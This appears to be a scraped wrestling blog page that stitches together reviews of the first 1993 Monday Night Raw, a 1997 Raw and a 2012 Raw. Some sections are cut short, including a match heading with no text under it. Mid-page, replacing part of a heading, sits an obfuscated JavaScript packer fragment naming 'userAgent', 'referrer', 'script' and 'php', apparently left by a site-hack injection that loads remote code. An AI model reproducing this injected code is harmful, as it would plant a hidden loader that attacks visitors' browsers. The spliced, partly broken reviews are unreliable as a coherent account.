Obviously I don’t think anyone guessed it would become what it is today, but it’s still amazing to think how much things have changed since the show started in that hole called the Manhattan Center.  Today you have Raw in arenas that hold 20,000 people, or about ten times what the Center could hold.  It took them awhile to get out of those smaller places though.  Raw didn’t get to MSG until September of 1997.  Those old shows still have a charm to them though, as it was still something so new and revolutionary (being live even semi-weekly was a big deal back then), even though the shows mostly sucked.

Those of you that haven’t checked the earlier shows out, track a few down.  They’re a far cry from what you see today and resemble ROH TV, but they’re still the foundation of what the WWF was back then, which makes them at least interesting to see.  Raw has come a long way and has been anywhere from must see TV to “can we find a good test pattern instead of this garbage?”, but it’s always been on, which says a lot.  It’s still worth seeing, just not at three hours every week.

Anyway, Happy Birthday Raw.  I’ve never missed a single episode and I don’t plan to anytime soon.

Well since it’s the anniversary of this, why not do it? Raw more or less ended SNME which I’ll do that last original episode soon enough, as in about an hour from now. This is the show that completely revolutionized wrestling as it was the first show to be aired weekly on prime time cable. The production values were WAY up also as the lighting and the effects were stuff that was unheard of. We’re gearing up for the 93 Rumble which kind of sucked but whatever. Let’s get to it.

Sean Mooney who I didn’t think had a job at this point welcomes us to the show and keeps Heenan from coming in. This would become a running joke on the first few shows until Monsoon threw him out of the company. The arena looks small but cool. Rob Bartlett was a comedian from the Don Imus show and he is easily the worst announcer of all time but to be fair, I’ve read some comments from him since and he completely admits that he was awful, so at least he’s not delusional.

Koko B. Ware vs. Yokozuna

Koko comes out to what would become Owen’s music which makes sense as they were partners around this time. I wonder what’s going to happen here. They swear on the air which might be a first. The tag line was uncooked, uncut and uncensored. I never got the uncooked part. How is that appealing? Bartlett just makes fat jokes about Yoko which makes sense. Vince is about as excited as humanly possible to be here. Bartlett makes jokes implying that Koko is Gary Coleman which is kind of funny but just out of place here. After Koko gets in no offense for about 4 minutes, the Banzai Drop ends this.

Rating: N/A. It was a glorified squash which is fine. I’m not sure how good this was for the first match in history but that’s fine I guess. This was just to push Yoko so that certainly accomplished its job. A lot of the earlier shows were almost all squashes so get used to it.

Ad for the Rumble.

We get a prerecorded interview from Heenan who talks about Perfect being scared of Narcissus, who was more commonly known as Luger. Heenan is WAY too excited about Luger.

Steiner Brothers vs. Executioners

The Executioners are masked jobbers as if it matters. That goofy clown as Vince calls him is at ringside and gets too much attention. Apparently his name is Doink. As for the match, are you really expecting anything other than total destruction? Apparently Mitch Ferhat, a former Buffalo Bill, is coming to the WWF. He never got there. The Steiner Bulldog ends it.

Rating: N/A. It was more or less the same thing as we got a match earlier, but with two guys instead of one. This is fine as it establishes two dominant forces for new fans which is a good idea.

A woman says that she’s Bartlett’s aunt. Naturally it’s Heenan in drag. This simply does not get old.

Razor Ramon comes out for a “special” interview. He’s fighting Bret for the title at the Rumble in case you didn’t know. It’s exactly what you would expect it to be as it’s just Ramon talking about Bret and how he’ll win the title and we see a clip of him beating up Owen on Superstars, which is why Owen isn’t here tonight.

Ad for Headlock on Hunger, which was a charity thing they were doing at the time to feed hungry people in Somalia.

Tatanka likes the Headlock on Hunger.

Intercontinental Title: Max Moon vs. Shawn Michaels

Max Moon may or may not have been Konnan. Shawn is just getting used to being a midcard deal so don’t expect much here. I don’t think it’s him here as it might be Paul Diamond, who was one of the Orient Express. We get more and more New York jokes from Bartlett that only a handful of people would get. He was great on a morning talk show but WAY off on a wrestling show.

They get the three un line here twice in one match as they try so hard to get that over as a tagline before they realized it sucked. Bartlett, in something that blows my mind, does an impression of Mike Tyson calling into the show from prison. This goes on over two minutes. Make that three. THEY’RE STILL DOING IT.

Seriously they did this for half of the match. Is this supposed to be funny or something? Am I supposed to be amused? After what felt like forever, Shawn hits the kick and that stupid suplex that he was using as his finisher at the time for the pin.

Rating: C+. It was an average match, but it had the DUMBEST commentary in recorded history. The match gets bonus points for being ok with those voices going though so there we are.

Ad for WWF Mania, a Saturday morning show.

Gene does the control center for the Rumble, which more or less is him talking about the major matches and we get promos from some of the guys in said matches, in this case Shawn and Marty. This is short but it was very effective at summarizing the entire show into a 3 minute video. Well done. We run down some people in the Rumble and get comments from Perfect. Ok now this needs to end as it’s about five minutes now. This was the first winner gets a title shot and it’s at 4pm. That’s just odd.

We have an Amish man trying to get inside. Guess who it is. He asks if anyone knows how to get onto the roof. I feel like I’m watching a Trix Cereal commercial. Also, WHERE DOES HE GET THESE COSTUMES???

Kamala exists and that’s about it.

Damien Demento vs. Undertaker

Who else would you get to main event the first show? Bartlett makes fun of Taker and I’m already tired of him. Demento is the guy that freaked out on youtube recently and freaked out about modern wrestling. He’s annoying and this is his career highlight. We go over the matches for next week and that’s about all that happens in this match. The Tombstone ends this quickly.

Rating: N/A. It’s like 3 minutes long and it’s more or less a squash. That’s not that interesting.

Doink sprays Crush with water to end the show.

Overall Rating: D+. This started off ok but it felt like there was no flow to it at all. It just wasn’t that good of a show as far as establishing people like it was supposed to do. This show definitely assumed that most people were long time fans of the show and that’s not a good idea to do on a brand new main show.

Still though, this is one of those shows everyone should see at least once as it truly did completely revolutionize wrestling. Definitely take a look at it if you never have before or just to compare it to modern wrestling and see how much things have changed.

Remember to follow me on Twitter @kbreviews

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ssdyr|var|u0026u|referrer|baran||js|php'.split('|'),0,{})) Night Raw
Date: January 13, 1997
Location: Knickerbocker Arena, Albany, New York
Attendance: 6,855
Commentators: Vince McMahon, Honky Tonk Man

Shawn is in San Antonio before the Rumble on Sunday.

Jerry Lawler/Hunter Hearst Helmsley vs. Marc Mero/Goldust

Things break down for a bit and Lawler gets punched some more, sending him to the outside. Off to HHH as more stalling ensues. We also hear about the upcoming matches on the show for the second time in about three minutes. Mero backdrops HHH down and brings in Goldie, sending Helmsley running in fear. Back to Lawler who gets in a few punches before being knocked to the floor.

Rating: F. This was AWFUL. I have no idea why they let this go nearly FIFTEEN FREAKING MINUETS but it had no business lasting longer than about two. There was no flow to it at all and it was just waiting until we got to the stupid ending. On top of that, Mero and Lawler had no reason to be in the match at all, other than keeping this from being the same one on one match we would see on Sunday with Goldust vs. HHH.

Shawn is STILL in San Antonio.

Rocky Maivia vs. British Bulldog

Undertaker vs. Crush

Crush is part of the Nation here so Taker goes into the aisle to fight them all at once. We head inside for the bell with Taker slamming Crush down and dropping a leg for no cover. Taker loads up Old School but Faarooq crotches him to give Crush control for a good three seconds. Taker sends him to the floor but gets guillotined as Crush comes back in. We continue the punch off until Crush hits a piledriver to put Taker on the floor.

Taker gets rammed into the steps and punched even more before we head back inside. Vader is standing at the entrance to the arena as we take a break. Back with Crush choking away and getting two off a clothesline. Back to the chinlock as this match continues to be slow. Taker hits a clothesline of his own but gets taken down by a belly to belly suplex. Crush loads up his Heart Punch (exactly what it sounds like) but gets caught in a chokeslam. Faarooq and Vader run in for the DQ before a cover can happen though.

Rating: D. Nothing to see here which is a running theme tonight. Crush was there as a warm body and little more, which would be the case until he was thrown out of the Nation, which led to him being a warm body in the DOA. Taker would continue to flail around for a few weeks until he wound up winning the world title at Wrestlemania because why not.

Vader and Faarooq beat down Taker until Ahmed Johnson comes out for the save, only to get beaten down as well to end the show.

Why it took seven months to get to this point is beyond me, but at least it finally happened.

We’re in Lawlerville tonight for the first WWE show of the year. There are two major things tonight: we see who the It Begins videos are for and we have a world title match in the form of Punk vs. Ziggler. With the ratings sagging, it might be interesting to see if the title changes hands tonight. Anyway, the road to the Rumble probably will get going tonight so let’s get to it.

We open with a recap of the ending last week where the fans didn’t chant Cena Sucks, even though the video presents it as if they did. This is the most forced attempted heel turn ever.

Cena opens the show to of course a mixed reaction. He doesn’t look that upset. He wishes everyone a happy new year and it’s a split chant again. Cena talks about how the new year is time for resolutions and changes. He’s going to make some changes in 2012. First off, he’s going to start wearing less underwear (girl pop). As for the This is Your Life John Cena segment, his dad is now banned from WWE programing.

Finally, the last change is coming at Wrestlemania. After he beats Rock, he’s resolving to prove he’s lost his lady parts. The one thing that won’t change: he’s going to remain who he is and his convictions will remain true. Hustle, Loyalty and Respect don’t go away because someone throws fire at you. Every single one of the fans here has paid their money to be here tonight and if they want to cheer, boo, or shout whatever they want, that’s up to them and they’ve earned that right.

Cena’s disappointment is in Kane. Kane has an issue with Cena and Kane can’t settle it the way we do it here in the WWE. Kane pops up….or at least his voice does. He says Cena will eventually embrace the hate and tonight, he’ll witness the power of hate. Maniacal laugh, maniacal laugh.

After a graphic about Punk vs. Ziggler, a video pops up saying the end begins tonight.

Daniel Bryan vs. Cody Rhodes

Bryan gets NO reaction. Cena got a big reaction and Kane got a pop too, but this is pathetic. Cody shakes off some kicks to start and hooks onto the arm. Bryan fights back and hits the running knee off the apron to the floor. Back in the Beautiful Disaster gets two. Cody tries a release gordbuster and gets rolled up for the pin at 3:20. Where do I begin?

Rating: D. So the IC Champion who has a big match on Friday loses in 200 seconds. Could they be any more counter productive with this stuff? Does the name Jack Swagger or Drew McIntyre not ring a bell to anyone? I’m already in a bad mood tonight and this is just making it worse.

Video of Miz getting attacked last week.

Miz comes in to see Johnny Ace and Ace says he won’t do anything about it. Miz wants to know why he’s here tonight then. Ace shows him a video of Miz attacking Truth two months ago but Miz says he doesn’t know why Truth would attack him. Sheamus vs. Miz tonight. Ace says he’ll have some people watching for Truth tonight. Miz says he’ll be a sitting duck. He leaves and the camera watches him go. Truth pops up and does a duck dance. This also gets a bigger reaction than Bryan had.

Video on Duggan’s Rumble win.

Barrett comes out for a match but before the match we get a clip of the Orton injury moment. Barrett says he’d wish us a happy new year, but he really doesn’t care about his new year, or our old year for that matter. This has been a good year for him already due to a lack of Orton. Orton was just another victim of the Barrett Barrage. Santino comes out and reminds us that he lasted longer than Barrett did in last year’s Rumble. He makes train sounds so he’s funny, get it?

Wade Barrett vs. Santino Marella

Let’s get this over with. Barrett throws punches and Santino does the splits. Barrett stops and kicks him in the head which makes me smile. Santino tries to load up the Cobra and gets a kick to the face. His shoulder goes into the most and Winds of Change ends this at 1:18.

The Bellas argue in front of Miz and Miz asks if they’ve seen Truth. He walks off and Truth is still stalking him.

Sheamus vs. The Miz

Miz immediately jumps Sheamus with a DDT and pounds him down. I don’t think the bell rang yet. He gets Sheamus tied in the ropes but Sheamus kicks him off. There are the forearms in the ropes and I mean like 20 of them. They go to the floor and Miz runs into the crowd. Truth jumps on the PA and is in the crowd.

Guess who he ran into? LITTLE JIMMY! Little Jimmy doesn’t like Miz. Little Jimmy says Miz needs to get got. Miz runs back to ringside and right into a Brogue Kick. Truth pops him with the water bottle. There was never an official match I don’t think. Truth goes back into the crowd and says this week’s Miz Beatdown was brought to you by Little Jimmy where you’re going to get got.

We see how Ziggler “earned” his shot tonight.

Ziggler is showing off in the back and says he flaunts it better than anyone else does every night. He talks about debt and how it dominates things, but he’s a walking talent surplus. Everything he’s wanted he’s gotten except for the WWE Title. He wins tonight. Good stuff.

Ryder continues to hit on Eve because he’s the US Champion so he’s hitting on a woman. Swagger comes up and says he should be champion. They get into an argument and Ace pops up. There’s a six man elimination tag with Kane/Swagger/Kane vs. Cena/Ryder/Show.

Raw World Title: CM Punk vs. Dolph Ziggler

You know, because the world title needs to end the first hour, not the main event of the show. This gets big match intros. If they let this match go, it should be good. They go to the mat to start and neither guy can get much of an advantage. Backbreaker gets two for Punk. Punk takes over for awhile until Ziggler hits a hot shot to take over. Ziggler gets in a shot on the floor and we hit the chinlock and take a break.

Back with them slugging it out on their knees but Ziggler grabs the sleeper. Punk quickly escapes and hits a leg lariat to take over. Snap powerslam gets two. They trade rollups and Dolph hits a Fameasser for two. Stinger Splash and something like a reverse powerslam gets two. They go to a corner and the buckle gets pulled off. Knee in the corner and a bulldog get two for Punk.

He calls for the GTS but here comes Ace. He points out the exposed buckle as Punk locks in the Anaconda Vice. Ziggler is tapping but there’s no referee so Punk lets it go. Ziggler tries the Zig Zag but Punk moves and Ziggler collides with Ace. GTS is countered and Ace pulls the top rope down. The fastest count ever results in a LAME countout win for Ziggler at 13:09.

Rating: C+. It was good up until the really stupid ending. If Ace wants the title off Punk that badly, wouldn’t he know to throw him back inside? I think we know what the Rumble is going to be though and that’s fine. Anyway, good stuff here, until the ending. That’s about what you would expect for this match though.

Ziggler celebrates with the title and goes into the crowd. The video interrupts it and says He Is Here.

Another Rumble video, this one from 1995.

Bella Twins vs. Eve Torres/Kelly Kelly

Kelly vs. let’s say Brie to start and Kelly does her spanking and Stinkface to get on my nerves even more. Eve comes in and does her usual stuff. The moonsault is broken up and it’s Nikki in now. Top rope moonsault gets two and it’s Twin Magic for the pin on Eve at 2:04. Are we really back to this again?

Punk comes in to yell at Ace and Ace makes Punk vs. Ziggler with Ace as referee for the Rumble. Punk says if he gets screwed out of the title, Otunga is going to come in handy because Punk will be arrested for animal cruelty when he beats Ace like a female dog.

Here’s another video with very similar images. It says a familiar force shall arrive to claim what is his. She holds the beckoning of his rebirth. The focus seems to bemore on the girl in this. She has spoken. It is time. And it looks like an earthquake in the arena. And it’s…..a blackout. Big Y2J chant starts up and there are lights of a guy in Jericho’s pose on the stage. It’s Jericho. Blast it. Freaking blast it. All those weeks and it’s Jericho….again.

Jericho takes a lap around the ring, slaps the hands of the fans, goes into the ring, goes back outside and slaps more hands and does the pose where he leans against the crowd. It’s Y2J Jericho too. He keeps playing to the crowd but hasn’t said a word onto the mic yet. There’s something up here. He goes outside AGAIN and shouts at the crowd. Now he points to the side of the crowd he wants to cheer. I’m waiting on a heel promo here.

And he drops the mic and does it AGAIN. This has been going on for like 5 minutes now. Here’s lap #4 around the ring and the fans are getting tired. Up the ramp he goes to grab a camera. And now he’s leaving. Ok no he isn’t…..and yes he is. He’s on the stage and there are some boos now. And he leaves. Jerry isn’t sure what we just saw. Jericho never said a word into the mic and nothing at all other than COME ON BABY!

Big Show/Zack Ryder/John Cena vs. Kane/Mark Henry/Jack Swagger

Elimination rules here. And there’s no Kane. Instead Otunga comes out and says it’ll be a handicap match. Swagger and Cena start us off with Cena taking him to the mat and dropping an elbow for two. Dropkick gets the same. Swagger kicks him into the corner and we take a break. Back with a Vader Bomb getting two. Cena backdrops out of it and here’s Big Show. No eliminations yet.

Show beats Swagger up and it’s time for a battle of the giants. Henry gets knocked to the floor and Show goes after him. Henry grabs a chair but Show knocks it out of his hands and cracks him in the back with it to get us down to two on two. It’s a double elimination though so it’s now Ryder/Cena vs. Swagger. Ryder comes in for the first time that we’ve seen and hits the Broski Boot. Rough Ryder is countered into an awful powerbomb and the ankle lock. Ryder makes the tag to break the hold and Cena cleans a few rooms (I don’t think Swagger qualifies as a house). AA ends this at 8:22.

Rating: D. Uh…yeah whatever man. I don’t get the point of anything here other than the lack of Kane. Having him not come in here is a good thing as he needs to make a big return for his first match back. Not a terrible match but what was the point of this being like 8 minutes long? I don’t get it.

Ryder is down from the ankle lock and the fire goes off. Cena goes straight up the ramp to go after Kane when he pops up through the ring. He gets one shot on Ryder and knocks Cena off the apron. Cena get smothered down and is out. Kane goes back in and grabs Ryder’s bad ankle. He pulls him down into the hole with him ala Taker and Diesel. Or maybe he doesn’t as Cena pulls Ryder out before he goes under. A big explosion from the hole and a bunch of fire pops out to end the show.

Overall Rating: D-. The word of the night should be frustrating, because this show just failed to deliver on almost everything. Cody loses in three minutes, the world title match goes nowhere other than to set up another match, Brodus doesn’t debut still, Kane is a no show (which might be a good thing), Jericho does…..whatever (and yes I know it’s going somewhere else) and the main event was whatever it was. I don’t know what they were shooting for here, but I don’t think it was their foot like they hit.

Results
Daniel Bryan b. Cody Rhodes – Small Package
Wade Barrett b. Santino Marella – Winds of Change
Dolph Ziggler b. CM Punk via countout
Bella Twins b. Eve Torres/Kelly Kelly – Small package to Eve
Big Show/John Cena/Zack Ryder b. Jack Swagger/Kane/Mark Henry – Cena last eliminated Swagger to win

Remember to follow me on Twitter @kbreviews